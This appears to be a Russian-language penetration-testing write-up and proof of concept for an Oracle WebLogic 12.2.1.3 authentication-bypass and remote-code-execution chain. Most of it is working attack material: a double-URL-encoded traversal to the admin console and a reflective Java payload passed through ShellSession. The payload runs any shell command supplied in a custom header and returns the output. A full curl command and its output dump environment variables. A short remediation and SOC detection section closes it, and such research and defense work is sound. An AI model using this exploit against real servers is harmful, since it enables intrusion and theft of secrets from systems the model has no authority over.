
Технический анализ и чистый Java Thread Echo PoC для цепочки уязвимостей Oracle WebLogic Server.
Репозиторий содержит технический отчет (Write-up) и концептуальный Proof of Concept (PoC) для демонстрации цепочки уязвимостей обхода авторизации (Authentication Bypass) и удаленного выполнения кода (RCE) в компоненте консоли управления Oracle WebLogic Server.
🛑 WARNING & DISCLAIMER: Данный материал подготовлен исключительно в образовательных целях и для проведения легитимного аудита защищенности (Pentest). Использование описанных техник против систем без предварительного письменного согласия владельцев преследуется по закону.
12.2.1.3nmap, curl, bashДля определения поверхности атаки было проведено целенаправленное сканирование стандартных портов веб-служб и портов администрирования Java-приложений:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Контролируемый вывод терминала:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. Включение протокола T3 также указывает на альтернативные векторы, но для данного исследования выбран HTTP-веб-интерфейс консоли.Анализ структуры путей показал, что веб-сервер некорректно обрабатывает последовательности перехода на верхний уровень каталога при их двойном URL-кодировании. Ресурс /console/css/ открыт для статики. Конструируем запрос для доступа к защищенному порталу:
/console/css/%252e%252e%252fconsole.portalПроверяем доступность и поведение сервера (ожидаем статус 200 OK вместо 403 Forbidden или 302 Redirect на страницу логина):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Ответ сервера:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
Скомбинировав обход авторизации с вызовом обработчика сессий com.tangosol.coherence.mvel2.sh.ShellSession, мы получаем возможность выполнять произвольный код Java.
Обычное выполнение команд через java.lang.Runtime является «слепым» (Blind RCE). Чтобы реализовать технику Command Echo (возврат вывода терминала прямо в теле HTTP-ответа), был разработан специальный рефлексивный Java-пейлоад.
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Для автоматизации отправки Java-контекста собираем итоговую команду curl. Передаем пейлоад в POST-параметре handle, а интересующую нас команду передаем в кастомном заголовке X-CMD-HEADER: env.
Такой подход защищает данные от искажения локальным интерпретатором командной строки Bash на стороне исследователя.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Реальный верифицированный вывод (Дамп переменных окружения):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) в самом конце лога подтверждает успешность эксплуатации. Она вызвана инструкцией executeThread.interrupt(), которая принудительно разрывает TCP-сессию сразу после того, как буфер с результатами команды env улетел клиенту.7001, /console) от внешнего периметра (доступ только через внутренний VPN/микросегментацию).%252e) в сочетании со специфичными вызовами классов Java.Для специалистов по мониторингу безопасности (SOC/Blue Team) успешная эксплуатация данной цепочки уязвимостей оставляет чёткие следы в инфраструктуре.
В логах веб-сервера WebLogic (обычно находятся в access.log) маркером атаки является наличие двойного URL-кодирования точек и слеша в сочетании с обращением к порталу администрирования через статические директории:
.. в кодированном виде: %252e%252e%252f или %252e%252e%252F внутри URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
Если на сервере настроен аудит процессов (например, через Auditd в Linux или Sysmon в Windows), признаком Remote Code Execution будет аномальное поведение родительского процесса Java:
/bin/sh, /bin/bash или cmd.exe) выступает рабочий процесс Java, под которым запущен сервер приложений:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER или X-Forwarded-Cmd), используемых атакующим для передачи полезной нагрузки (Command Echo).